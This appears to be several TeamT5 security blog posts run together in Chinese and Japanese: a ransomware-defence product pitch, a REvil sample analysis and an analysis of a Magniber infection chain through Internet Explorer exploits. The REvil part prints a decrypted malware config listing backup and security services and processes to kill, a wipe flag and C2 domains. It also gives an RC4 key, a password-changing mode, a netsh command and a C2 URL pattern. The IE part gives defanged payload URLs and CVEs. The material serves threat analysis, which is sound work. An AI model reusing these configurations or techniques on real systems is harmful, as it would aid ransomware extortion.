一般企業軟硬體網路環境多數建置是以辦公事務性為用途，而不是為了抵禦外部網路攻擊而部署，但駭客族群工具就是以攻擊目的為出發點，通常企業一旦被駭客針對鎖定了，它就會持續不斷的攻擊直到成功入侵為止，然後對企業進行勒索，這是非常難以防止。如何讓企業內外系統有密實的防護牆，是企業需考量的防禦重點。TeamT5 杜浦數位安全建議，企業必需有「全面防堵」的觀念，在企業內部設立層層的防護關卡，在每一個環節做到有效的預防、偵測和阻擋。因此，TeamT5 鼓勵企業朝向「全面防堵」的觀念進行安全部署，即使某些防禦層被入侵，系統其他防護機制一樣可以迅速接手防禦，並且企業依舊保有持續營運，因此「全面防堵」的觀念如同防疫，需同時包含隔離觀察、症狀監控、阻止傳播、快速應變隔離確診者等，缺一不可。

 

## 獨家人工智慧引擎，監控新進程式

TeamT5 全新一代的 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台解決方案，除了具備 APT（Advanced Persistent Threat，進階持續性攻擊）惡意威脅鑑識與防護功能外，更新增面對勒索軟體攻擊的全面防堵解決方案，這個方案是透過我們的獨家人工智慧引擎，能判斷可疑或新進的外來程式，透過隔離與權限控管方式，由零信任（zero trust）開始，逐步提高對新進程式的信任值，這就如同 COVID-19 防疫針對入境者，均須透過 14 天隔離期相同的觀念，做為第一道防線，為企業進行把關。

![teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_CH_pic2_update.jpg](https://uploads.teamt5.org/upload/original/teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_CH_pic2_update.jpg)
_圖一、ThreatSonar Anti-Ransomware 人工智慧引擎_

 

## 雙重防護，即時自動阻斷

面對勒索軟體的加密攻擊階段，ThreatSonar Anti-Ransomware 亦提供雙重防護，分別為應用程式控制與勒索陷阱，ThreatSonar Anti-Ransomware 的獨家人工智慧引擎可以偵測出哪些應用程式應該開啟什麼類型檔案，例如文件檔案通常是由文書編輯程式所開啟，若有異常程式嘗試存取文件檔案，系統便會自動偵測並予以即時阻斷。另外 ThreatSonar Anti-Ransomware 也會佈下了許多偽裝的文件檔案，當作誘捕陷阱，當惡意程式試著開啟此類檔案，同樣的也會被偵測並強制中斷惡意程式繼續運行。

 

## 加密了! 檔案還原

ThreatSonar Anti-Ransomware除了能阻斷勒索軟體攻擊外，TeamT5的獨家技術，還可偵測駭客進行惡意破壞備份行為，有效保護重要文件資料，以確保企業成功還原檔案。

![202109_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632815198/202109_3_2adafecde5.png)
_圖二、TeamT5 獨家技術有效確保企業成功還原檔案_

 

## 掌握情資，制敵機先

防駭跟防疫有許多共通之處，要對抗的都是「人」，使用單一解決方案通常效果有限，因為時間久了，就算有效果也會被繞過，譬如不能只單靠疫苗，因為病毒會持續變種，更何況駭客是人，他們也會適應與變化，不斷產生新的攻擊手法與技術。

TeamT5 掌握亞洲領先情資，持續研究與追蹤各大勒索軟體族群的最新手法，有效預測未來攻擊，透過充分掌握與不斷更新，TeamT5 最新一代 ThreatSonar Anti-Ransomware 將是您最佳的選擇，請即刻與您的業務窗口聯繫。

> 業務聯絡：<sales@teamt5.org>

 

# 參考資料 

[1] https://www.afcea.org/content/sponsored-81-ransomware-statistics-data-trends-and-facts-2021

[2] https://www.varonis.com/blog/ransomware-statistics-2021

[3] https://blog.chainalysis.com/reports/ransomware-update-may-2021/

有效抵禦勒索軟體攻擊，唯有「全面防堵」

初期のランサムウェアは通常トロイの木馬ウイルスを通じて不特定多数に向けて任意に拡散され、インターネット上からファイルをダウンロードした際に侵入するかシステムのセキュリティホールを通じて被害者の PC に侵入するものであった。過去多数の被害者は一般ユーザーであり、一般的な対応方法は黙って約一千ドルの身代金を支払うことで PC の暗号化を解除していた。ネットワークの脅威攻撃状況の変化に伴い、脅威攻撃のターゲットは個人から企業に、攻撃手法もランダムな侵入からターゲットを定めた侵入へと変化した。これが標的型のランサムウェア攻撃である。


## ランサムウェア攻撃は2019年に爆発的に増加し、これまでに鈍化した形跡はない

近年、攻撃の状況は顕著に変化し標的型のランサムウェア（targeted ransomware）が出現した。攻撃を行う時にターゲットを定め、その多くは大企業である。通常、ハッカーは侵入後すぐに単体の PC を暗号化するのではなく、システムにアクセスする最高権限を取得しようとする。そしてランサムウェアを企業内のすべての PC にインストールし、時間が来るとすべてに対し暗号化を行い、企業の機能を麻痺させる。1回の身代金要求金額は5千万ドルにも及ぶ（14億台湾元に相当）。

暗号通貨の流行に伴い、ハッカーグループも違法なキャッシュフローの追跡調査から逃れるために暗号通貨センターを利用するようになった。それと同時にこの行動はますます猛威を振るい、米国政府がランサムウェアに対抗措置を取ることを決定するまでに至った。その中で暗号通貨の監視を強化することは対抗策の目標の一つと見なされ、更にこの数年で伝播した違法なサービスとしてのランサムウェア（Ransomware as a Service、略称 RaaS）というビジネスモデルの出現により、更に多くの犯罪グループによる恐喝攻撃の実行を招いている。

今年5月、ブロックチェーン研究機構 Chainalysis が発行した「2021年におけるランサムウェアの重大インシデントレポート」によると、2019年はランサムウェア攻撃が急激に増加した重要な指標であり、2019年第1四半期には平均6千ドルであった身代金の平均金額は、2021年第1四半期までに5万4千ドルに達し驚くべき成長を見せている。特にハッカーグループがターゲットとするハイテクノロジー産業においては、例えば2021年に REvil が Acer と Quanta Computer への侵入に相次いで成功し、ハッカーは5千万ドルの身代金支払いを要求した。最終的に企業が支払うかどうかは別としても、巨額の身代金額がもはや状態化している。

![teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_JP_pic1](https://uploads.teamt5.org/upload/original/teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_JP_pic1.JPG)
_表1. 各四半期の平均身代金支払額。資料の引用元は [Chainalysis Insights](https://blog.chainalysis.com/reports/ransomware-update-may-2021/)。_

 

## ハッカー攻撃の防御は感染症予防と同じく「全面防御」しかない

一般企業のソフト・ハードウェアのネットワーク環境の多くはオフィス業務の用途のために設定されたものであり、外部からのネットワーク攻撃に対抗するために配置されたものではないが、ハッカーたちが使用するツールは攻撃目的のために作られたものであり、通常企業がハッカーに標的にされると、その攻撃は侵入に成功するまで持続的に行われ企業に対して恐喝行為を行うため、防止するのが非常に困難である。内外システムにどのように防護壁を築くかが、企業の考慮すべき防御ポイントとなる。TeamT5 杜浦數位安全は、企業は「全面防御」の観念を必ず備え、企業内部に幾重にも重なる防護の関門を設け、すべてのステージにおいて効果的な予防、検知、遮断措置を行うことを推奨している。そこで、TeamT5 は企業が「全面防御」の観念に向けてセキュリティ対策を実施することを推奨する。仮に一部の防御層が侵入を受けても他の防護システムが迅速に防御をカバーすることで企業の持続的な運営を保持するのである。したがって「全面防御」の観念は隔離と観察、症状のモニタリング、拡散の阻止、陽性確定者を隔離する等の感染症対策と同様、どれも欠けてはならない。

 

## 独自の人工知能エンジン、新しいプログラムの監視

TeamT5 最新の ThreatSonar Anti-Ransomware の脅威の鑑識分析と対応プラットフォームによるソリューションは、APT（Advanced Persistent Threat、発展した持続的な攻撃）の悪意ある脅威識別と防御機能に加え、ランサムウェア攻撃に対する全面的な防御ソリューションを追加している。この方案は当社独自の人工知能エンジンに基づき、疑わしいあるいは新しいプログラムを判断し、隔離と権限制限の方式によってゼロトラスト（zero trust）から開始し、新しいプログラムに対する信頼度を次第に引き上げていくものである。これは COVID-19 の入国者に対する感染症対策が必ず14日間の隔離期間を設ける事と同じで、第一線で防衛ラインを敷き企業の関門を厳しくチェックすることである。

![teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_JP_pic2](https://uploads.teamt5.org/upload/original/teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_JP_pic2.JPG)
_図1. ThreatSonar Anti-Ransomware 人工知能エンジン_

 

## 二重の防護、即時自動遮断

ランサムウェアの暗号化攻撃段階に対し、ThreatSonar Anti-Ransomware はアプリケーションの制御とトラップによる二重防護も提供している。

ThreatSonar EDR の独自の人工知能エンジンは、各アプリケーションがどのようなタイプのファイルを実行するべきかを検知する。例えばドキュメントファイルは通常ドキュメント編集プログラムによって実行されるが、もし異常なプログラムがドキュメントファイルにアクセスを試みようとした場合、システムが自動で検知し、リアルタイムで遮断することが可能である。また、ThreatSonar Anti-Ransomware も多数のダミードキュメントファイルを配置しておびき寄せトラップの役割を果たしている。悪意のあるプログラムがこれらのファイルを実行しようとすると、同様にそれを検知し強制的に悪意のあるプログラムの動作を中断させる。

 

## 暗号化された！ファイルの復元

ThreatSonar Anti-Ransomware はランサムウェアの攻撃を遮断する以外にも、TeamT5 の独自技術により、ハッカーが悪意を持ってバックアップを破壊する動作を検知し、重要なファイルデータを効果的に保護することで、企業によるファイルの正常な復元を実現することができる。

![teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_JP_pic3](https://uploads.teamt5.org/upload/original/teamt5-proactive-ransomware-containment-technology-effectively-defends-against-ransomware-attacks_JP_pic3.JPG)
_図2. TeamT5 の独自技術が企業のファイル復元を効果的に実現_

 

## インテリジェンスを把握し、機先を制する

ハッキングの防御と感染症対策には多くの共通点がある。対抗するのはすべて「人」であり、例えばワクチンだけに頼ることは不可能であり、ウイルスは持続的に変化を続けるように、単一のソリューションだけではその効果には限りがあり、時間が経過すると効果があったとしても回避されてしまう。ましてやハッカーは人であり、彼らも適応と変化を続け、絶えず新たな攻撃手法と技術を生み出しているのである。

TeamT5 はアジアにおいてインテリジェンスをリードし、各ランサムウェアグループの最新手法の研究と追跡を続け、将来の攻撃を効果的に予測している。完全な掌握と継続的なアップデートにより、TeamT5 の最新の ThreatSonar Anti-Ransomware はあなたにとって最良の選択となり得る。すぐに業務窓口と連絡を取ってほしい。

> お問い合わせ先：<sales@teamt5.org>

 

# 参考文献

[1] https://www.afcea.org/content/sponsored-81-ransomware-statistics-data-trends-and-facts-2021

[2] https://www.varonis.com/blog/ransomware-statistics-2021

[3] https://blog.chainalysis.com/reports/ransomware-update-may-2021/

ランサムウェア攻撃を防ぐ効果的な方法は「全面防御」のみ

TeamT5 近期於台灣某企業環境取得一加密勒索惡意程式（Ransomware），該惡意程式與日前美國託管軟體開發業者 Kaseya 遭到駭客組織 REvil 入侵，進而產生供應鏈攻擊事件（Supply Chain Attack）密切相關。難道是近日忽然神秘消失的 REvil 又整裝上陣，再度發動攻擊？

TeamT5 在這起事件中調查發現，該加密勒索惡意程式具有檔案數位簽章，可藉此躲避防毒軟體的偵測。同時也會利用早期 Windows 防毒產品的漏洞，執行 DLL Side-Loading，繞過安全檢查，載入惡意程式本體。執行工作前，會使用 RC4 演算法解密一組態設定檔，並於加密檔案階段，使用 Salsa20 和 AES 兩種演算法來加密檔案。

TeamT5 深入調查，確定該企業並未採用 Kaseya 所提供之服務，且該受害環境存在多起駭客入侵攻擊事件。此外，該加密勒索程式所觸發的條件與 Kaseya 供應鏈攻擊事件有所區別，故 TeamT5 推測是攻擊者在入侵得手後，利用 REvil 加密勒索程式來煙滅犯罪現場證據之用。

 

## 樣本分析
sample.exe 為 TeamT5 所掌握取得之惡意程式，具備數位簽章（digital signature），簽署人名稱為 PB03 TRANSPORT LTD.。目前該憑證已被簽發者宣告撤銷，據信，該簽章憑證為駭客攻擊前所竊取而來。所對應 MITRE 的攻擊手法編號為 T1553.002。數位簽章資訊詳見下圖一。

![2108-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_1_70fa5416a0.png)
_圖一、sample.exe 具有數位簽章（已遭宣告撤銷）_

 

sample.exe 除了具有檔案數位簽章之外，同時也是個 Dropper。在其檔案資源區塊中，具有兩個資源檔 MODLIS.RG 與 SOFTIS.RG。檔案執行之後，會分別在 C:\Windows\ 路徑下建立 mpsvc.dll 與 MsMpEng.exe，如圖二。

![2108-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_2_228ada60f2.png)
_圖二、sample.exe 會從資源區塊產生 mpsvc.dll 與 MsMpEng.exe_

 

MsMpEng.exe 為 Windows 早期版本（版本號為 4.5.0218.0）之防毒軟體程式，其檔案時間戳記為 2014/03/24 09:34。此 MsMpEng.exe 有 DLL 側載（DLL Side-Loading）漏洞，駭客利用合法程式來載入惡意本體 mpsvc.dll，為典型的白加黑攻擊手法，所對應 MITRE 的攻擊手法編號為 T1574.002。MsMpEng.exe 的檔案資訊詳見下圖三。

![2108-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_3_204dc45958.png)
_圖三、MsMpEng.exe 的檔案資訊與檔案簽章_

 

根據 mpsvc.dll 的導出表，會透過 Windows 防毒程式來呼叫 mpsvc.dll，並透過 `ServiceCrtMain` 函式來執行。執行後，mpsvc.dll 會建立一個執行緒（Thread），並透過 `CreateFileMappingW` 函式來載入二階段惡意 Shellcode。接著，使用 `VirtualAllocEx` 函式來分配記憶體的讀/寫/執行區域，供 Shellcode 將加密勒索核心功能載入記憶體中。

![2108-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_4_698c5d81c3.png)
_圖四、mpsvc.dll 使用 `CreateFileMappingW` 和 `VirtualAllocEx` 函式載入惡意程式核心_

 

加密勒索核心透過解碼一系列已編碼的 DLL 檔案，開始驗證和解密 JSON 格式之組態設定檔（Config）。TeamT5 長期追蹤 REvil 駭客族群，發現他們廣泛使用 CRC32 演算法來驗證檔案的完整性，並使用 RC4 演算法來解密。在此案例中，加密勒索程式所使用的 RC4 解密金鑰為 `mXT1QFyEUbrxc4cbP84jbN5wrHeqmFXt`，解密後的組態設定檔詳見以下範例：

```json{
"pk":"9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=",
"pid":"$2a$12$prOX/4eKl8zrpGSC5lnHPecevs5NOckOUW5r3s4JJYDnZZSghvBkq",
"sub":"8254",
"dbg":false,
"et":0,
"wipe":true,
"wht":{"fld":["program files","appdata","mozilla","$windows.~ws","application data","$windows.~bt","google","$recycle.bin","windows.old","programdata","system volume information","program files (x86)","boot","tor browser","windows","intel","perflogs","msocache"],
"fls":["ntldr","thumbs.db","bootsect.bak","autorun.inf","ntuser.dat.log","boot.ini","iconcache.db","bootfont.bin","ntuser.dat","ntuser.ini","desktop.ini"],
"ext":["ps1","ldf","lock","theme","msi","sys","wpx","cpl","adv","msc","scr","bat","key","ico","dll","hta","deskthemepack","nomedia","msu","rtp","msp","idx","ani","386","diagcfg","bin","mod","ics","com","hlp","spl","nls","cab","exe","diagpkg","icl","ocx","rom","prf","themepack","msstyles","lnk","icns","mpa","drv","cur","diagcab","cmd","shs"]},
"wfld":["backup"],
"prc":["encsvc","powerpnt","ocssd","steam","isqlplussvc","outlook","sql","ocomm","agntsvc","mspub","onenote","winword","thebat","excel","mydesktopqos","ocautoupds","thunderbird","synctime","infopath","mydesktopservice","firefox","oracle","sqbcoreservice","dbeng50","tbirdconfig","msaccess","visio","dbsnmp","wordpad","xfssvccon"],
"dmn":"boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;TRIMMED",
"net":false,
"svc":["veeam","memtas","sql","backup","vss","sophos","svc$","mepocs"],
"nbody":"BASE64_ENCODED_RANSOM_NOTE",
"nname":"{EXT}-readme.txt",
"exp":false,
"img":"QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA",
"arn":false,
"rdmcnt":0}
```
 

**部分組態設定檔說明**

|欄位|說明|
|---|---|
|pk|經過 Base64 編碼後的金鑰|
|fld|避免加密的資料夾名稱|
|fls|避免加密的檔案名稱|
|ext|會被加密的檔案格式|
|prc|加密前會強制關閉的程序名稱|
|dmn|中繼站位址|
|svc|加密前會強制停止的服務名稱|

 

待加密勒索核心解析組態設定檔後，會搜集並儲存該受害主機的基本資訊，包含帳號、主機名稱、網域名稱、Windows 版本名稱等。同時，該加密勒索程式具有 `-nolan`、`-nolocal`、`-path`、`-silent`、`-smode`、`-fast` 及 `-full` 等參數可供使用。

如果使用 `-smode` 模式，會將當前帳號和密碼更改為 `DTrump4ever`，並設定登入後自動執行。但若使用 `-silent` 模式，則會從組態設定檔中將 `svc` 區塊中的服務停止並刪除，也將 `prc` 區塊中的程序終止，以及使用 WMI 刪除磁碟區陰影複製檔（Shadow Copy File）。

![2108-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_5_ff3367629a.png)
_圖五、smode 模式的程式分析畫面_

 

開始執行檔案加密前，加密勒索核心會檢查互斥變數（Mutex），以確保沒有其他加密勒索核心也在運行，確定加密過程可順利進行。在執行階段，加密勒索程式會清空電腦主機的資源回收桶，並嘗試建立本機防火牆規則 `netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes`。

接著，破壞過程會使用多個演算法進行加密，例如 Salsa20 與 AES。在加密過程中，會忽略組態設定檔中 `ext` 區塊中的檔案副檔名，避免受害主機完全無法開機的狀況發生。

![2108-6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_6_8b5ef17c27.png)
_圖六、加密演算法使用 Salsa20 和 AES_

 

待惡意程式開始加密檔案時，勒索訊息也會同步建立在每個資料夾路徑下，其檔案類型為文字格式（.txt），檔名則為隨機亂數產生的小寫英文與數字組合，並加上 `-readme` 做為後綴（suffix）字元。其勒索訊息內容如下圖七所示。

![2108-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269623/2108_7_44da5ddd34.png)
_圖七、勒索訊息內容_

 

在加密檔案之後，加密勒索程式會連線至組態設定檔中的中繼站，並使用 HTTP POST 方法回傳如 REvil 版本、作業系統版本、語言及組態設定檔的值等資訊。回傳中繼站的 URL 會採用隨機產生的關鍵字，如 WordPress 等服務，將流量偽裝成合法請求。其 URL 格式如下：

`https:\/\/<C2Domain>\/(wp-content|static|content|include|uploads|news|data|admin)\/(images|pictures|image|temp|tmp|graphic|assets|pics|game)\/([a-z]{2}){10}\.(jpg|png|gif)`

 

## IoC 入侵指標

TeamT5 彙整此次加密勒索攻擊事件的 IoC（Indicators of Compromise）資訊，建議用戶可將此份威脅指標情資，匯入各式偵測阻擋設備中使用，強化威脅防護。

|Type|Value|檔名|描述|
|---|---|---|---|
|MD5|561CFFBABA71A6E8CC1CDCEDA990EAD4|sample.exe|REvil Dropper|
|MD5|A47CF00AEDF769D60D58BFE00C0B5421|mpsvc.dll|REvil Loader|
|MD5|3AD14947002E57887B82643D729C21AE|n/a|REvil Shellcode|
|MD5|6A044F92F8DDDAD2AE0FF213215FE576|n/a|REvil Payload|
|SHA-1|5162F14D75E96EDB914D1756349D6E11583DB0B0|sample.exe|REvil Dropper|
|SHA-1|656C4D285EA518D90C1B669B79AF475DB31E30B1|mpsvc.dll|REvil Loader|
|SHA-1|8DA8E1DB4367BFFFB8DFF6828619DC3C2A444FFE|n/a|REvil Shellcode|
|SHA-1|89BA0D748EF30E7D4FACDBC74CA701B24F3ACEDB|n/a|REvil Payload|
|SHA-256|D55F983C994CAA160EC63A59F6B4250FE67FB3E8C43A388AEC60A4A6978E9F1E|sample.exe|REvil Dropper|
|SHA-256|8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD|mpsvc.dll|REvil Loader|
|SHA-256|C8768D4A4979D4B5AB4E841FC29523D8D80C52D6E89F345A0A44E75973F3D3AF|n/a|REvil Shellcode|
|SHA-256|F92CD77D38EC7A2E3CDB5CAC083258424F920F3104BC710E60AEE5CE4BC4B867|n/a|REvil Payload|

 


*圖片來源：[Pixabay](https://pixabay.com/illustrations/ransomware-wannacry-malware-2318381/)

又見 REvil？！看駭客如何利用 REvil 同款加密勒索程式湮滅攻擊證據

By Tom, Peter & Jason3e7 

近期全球籠罩在勒索軟體的威脅下，大到法人企業、小至個人用戶，無一倖免。從針對式的 APT 攻擊（Advanced Persistent Threat，進階持續性攻擊）到各式網路犯罪組織，使用的勒索手法越發精湛與多樣化，並發展出 Ransomware as a Service（RaaS）商業模式，實現了「一時勒索一時爽，一直勒索一直爽」的勒索大業。

本次分析的案例，攻擊手法屬於較被動的方式，透過微軟瀏覽器 IE （Internet Explorer）的弱點來進行勒索，而非從企業的脆弱點進行攻擊，進而入侵到核心系統大量散布勒索軟體。這種「願者上鉤」的攻擊方式，攻擊者等待受害單位使用 IE 瀏覽器造訪惡意網站，再發動攻擊、達成目的。

## 技術分析

tenki[.]tw 早期是用來提供氣象資訊的網站，根據我們的研究，推測可能遭攻擊者註冊，當使用者造訪該網站時，將進行兩次轉址，經過兩個廣告公司網站後，最終轉至惡意網站，流程如下圖。

![IE_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_1_9c89756204.png)


 

其中 {random}.doetax.site 包含以下已經過程式碼混淆（Obfuscation）的 JavaScript：

![IE_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_2_75720d835e.png)

 

經過解碼還原後，可以確定攻擊 payload 會使用 URL 進行 XOR，再使用 execScript 來執行編碼過的 JavaScript，如下圖：

![IE_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073501/IE_3_7834571d0f.png)

 

該編碼過的 JavaScript 使用的是 CVE-2020-0968 來針對 IE 瀏覽器進行攻擊。

![IE_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_4_d1df7d6427.png)

 

執行惡意程式碼後，攻擊者會再依據取得的權限不同，將使用者連線到不同的網址，如下圖：

![IE_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_5_8167c3864c.png)

 

若取得是高權限，則會直接到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體，否則會先到 hxxp://2oct37evecvdw72y0b.doetax.site/ 下載惡意程式，提權後連線到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體，如下圖所示。

![IE_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073497/IE_6_8cf56ced86.png)

 

經分析後確定勒索軟體為 Magniber，該惡意程式使用 AES CBC mode 加密檔案（key, IV: 128），加密完成後，會使用 RSA 演算法加密 key 與 IV，加密後的 blob 會放在加密檔案的最後面（長度：100h）。

![IE_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073496/IE_7_8d674f100c.png)

![IE_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073493/IE_8_b0ab9e49b9.png)

 

另外我們也發現，除了使用 CVE-2020-0968 來攻擊外，也有使用 CVE-2021-26411 進行勒索攻擊的情境。

![IE_9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_9_a0a080b8f8.png)

![IE_10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_10_36fdab639d.png)

 

我們進一步探討網站轉址狀況可以發現，攻擊者會利用免費資源網站來吸引使用者瀏覽，同時利用一透明框架覆蓋於網站上，讓使用者點擊，進而達成轉址目的。

![IE_11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_11_080a2e35e5.png)

 

轉跳後的網站如下圖：

 

![IE_12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_12_9549f3a339.png)

 

雖然該網站並不會植入勒索軟體，但會使用 CVE-2019-1367 弱點來植入其他的後門，另外，雖然在 IE11、IE10 和 IE9 使用 Jscript9.dll，並不受 CVE-2019-1367 漏洞的影響，但可以強制 IE 使用 IE8 兼容模式，來達成漏洞的觸發。

![IE_13.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_13_9dff2ee47b.png)

![IE_14.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_14_247f61ede7.png)


## 結論
上述案例皆為採證 IE 的連線紀錄後所發現，攻擊者透過 IE 瀏覽器的漏洞來達到攻擊目的，包含勒索或者植入其他後門程式。攻擊者透過這些弱點進行記憶體操作的攻擊，可以有效實踐無檔案式（Fileless）攻擊，以利規避一些資安產品偵測的可能性。

微軟官方也預計於 2022 年 6 月 25 日，徹底終止支援 IE 瀏覽器，接下來我們也可以預期，若 IE 將來仍被發現存在重大弱點時，攻擊者可能會依循類似手法，大量進行攻擊、勒索，以達到其商業利益。

## 建議
- 建議將系統安全性更新至最新版本
- 建議評估汰換已停止更新的作業系統與軟體
- 非必要不使用 IE 瀏覽器

## 參考資料
[1] https://asec.ahnlab.com/en/19273/

[2] https://asec.ahnlab.com/en/21189/

 


*圖片來源：[Pixabay](https://pixabay.com/illustrations/browser-web-www-computer-773273/)

「勒」此不疲，IE 真調皮

By Tom, Peter & Jason3e7 

最近、全世界がランサムウェアの脅威にさらされており、上は法人企業から下は個人ユーザーまで例外なく標的にされている。標的型の APT 攻撃（Advanced Persistent Threat、発展した持続的な攻撃）から各種サイバー犯罪組織まで、使用する身代金要求手法はより精巧かつ多様化しており、さらには Ransomware as a Service（RaaS）というビジネス方式にまで発展するなど、もはや「どんどんとエスカレートしていく」一大事業となっている。

今回解析した事例では攻撃手法が比較的受け身の方式であり、企業の脆弱点を利用するのではなく、マイクロソフトのブラウザ IE（Internet Explorer）の脆弱性を利用して実行する形であり、核心的なシステムに侵入して大量のランサムウェアを配布する。このような「待ち伏せ」型の攻撃方式は、被害者が IE ブラウザで悪意のある Web サイトにアクセスする時を狙って攻撃を実行し、目的を達成する。

## 技術的解析

tenki[.]tw は早期から気象情報を提供するサイトである。当社の研究によると、攻撃者によって登録されたおそれがあり、ユーザーがこのサイトにアクセスした場合、二度リダイレクトして2つの広告会社の Web サイトに飛んだあと最終的に悪意のあるサイトにリダイレクトされるものと推測できる。そのプロセスは以下の通りである。

![internet-explorer-the-vulnerability-ridden-browser_pic1_JP.png](https://uploads.teamt5.org/upload/original/internet-explorer-the-vulnerability-ridden-browser_pic1_JP.jpg)


 

このうち {random}.doetax.site には以下のような難読化（Obfuscation）された JavaScript が含まれている：

![IE_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_2_75720d835e.png)

 

デコードすると、以下のように攻撃 payload が URL で XOR を行ったあと、execScript によってエンコードされた JavaScript を実行していることがわかる：

![IE_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073501/IE_3_7834571d0f.png)

 

このエンコードされた JavaScript が利用するのは CVE-2020-0968 脆弱性であり、IE ブラウザに対して攻撃を行う。

![IE_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_4_d1df7d6427.png)

 

悪意のあるソースコードを実行すると、攻撃者は下図のように取得した権限に応じてユーザーを異なる URL にアクセスさせる：

![IE_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_5_8167c3864c.png)

 

権限が高い場合は直接 hxxp://1fbw726f22j65y.doetax.site/ からランサムウェアを取得するか、先に hxxp://2oct37evecvdw72y0b.doetax.site/ で悪意のあるプログラムをダウンロードし、権限昇格の後 hxxp://1fbw726f22j65y.doetax.site/ にアクセスしてランサムウェアを取得する。詳細は下図の通り。

![IE_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073497/IE_6_8cf56ced86.png)

 

解析を通して、このランサムウェアが Magniber であることが判明している。この悪意を持ったプログラムは AES CBC mode を利用してファイルを暗号化（key, IV: 128）し、暗号化が完了すると RSA によって key と IV を暗号化し、暗号化された blob は暗号化されたファイルの最後尾に置かれる（長さ：100h）。

![IE_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073496/IE_7_8d674f100c.png)

![IE_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073493/IE_8_b0ab9e49b9.png)

 

また、当社は CVE-2020-0968 の脆弱性を利用した攻撃以外にも CVE-2021-26411 の脆弱性によって身代金攻撃を行う状況も確認した。

![IE_9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_9_a0a080b8f8.png)

![IE_10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_10_36fdab639d.png)

 

当社が Web サイトのリダイレクト現象を更に研究した結果、攻撃者は無料データの Web サイトによってユーザーを引き付けると同時に透明なフレームによって Web サイトを覆い、ユーザーにクリックさせることでリダイレクトさせようとしている事がわかった。

![IE_11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_11_080a2e35e5.png)

 

ジャンプした後の Web サイトは下図の通り：

 

![IE_12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_12_9549f3a339.png)

 

この Web サイトはランサムウェアをインストールすることはないが、CVE-2019-1367 の脆弱性によって他のバックドアをインストールするほか、IE11、IE10、IE9 は Jscript9.dll を使用しているため CVE-2019-1367 脆弱性の影響を受けないが、強制的に IE に IE8 互換モードを使用させることで脆弱性を発現させようとしている。

![IE_13.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_13_9dff2ee47b.png)

![IE_14.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_14_247f61ede7.png)


## 結論
上記で述べた事例ではすべて IE のアクセス記録を確認したことで判明したものであり、攻撃者は IE ブラウザの脆弱性を利用して身代金要求やその他のバックドアプログラムをインストールする行為を含む攻撃を行っていた。攻撃者はこれらの脆弱性を利用してメモリを操作する攻撃を実行し、ファイルレス（Fileless）攻撃を有効的に実施することで、情報セキュリティ製品による検知の可能性を回避しようとしている。

また、マイクロソフト社も2022年6月25日に IE ブラウザのサポートを完全に終了することを予定しているため、我々も IE に今後再び重大な脆弱性が発覚した場合、攻撃者が類似した手法によって大量にサイバー攻撃や身代金要求などによって金銭的利益を得ようとする可能性を予見することができる。


## 提案
- システムのセキュリティを最新にアップデートする
- サポートが終了した OS やソフトウェアを使用しない
